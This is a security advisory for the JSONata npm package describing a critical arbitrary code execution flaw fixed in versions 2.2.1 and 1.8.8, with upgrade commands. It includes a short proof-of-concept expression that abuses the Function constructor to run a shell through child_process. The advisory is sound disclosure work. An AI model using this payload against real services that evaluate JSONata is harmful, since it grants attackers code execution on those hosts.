VDB
KO
CRITICAL

GHSA-2943-5xfg-gq5f

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Quick fix

GHSA-2943-5xfg-gq5f — jsonata: upgrade to the fixed version with the command below. 

npm install jsonata@2.2.1

Details

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.

## PoC

```js import jsonata from "jsonata";

const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`);

await expression.evaluate({}); ```

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / jsonata
Introduced in: 2.0.0 Fixed in: 2.2.1
Fix npm install jsonata@2.2.1
npm / jsonata
Introduced in: 0 Fixed in: 1.8.8
Fix npm install jsonata@1.8.8

References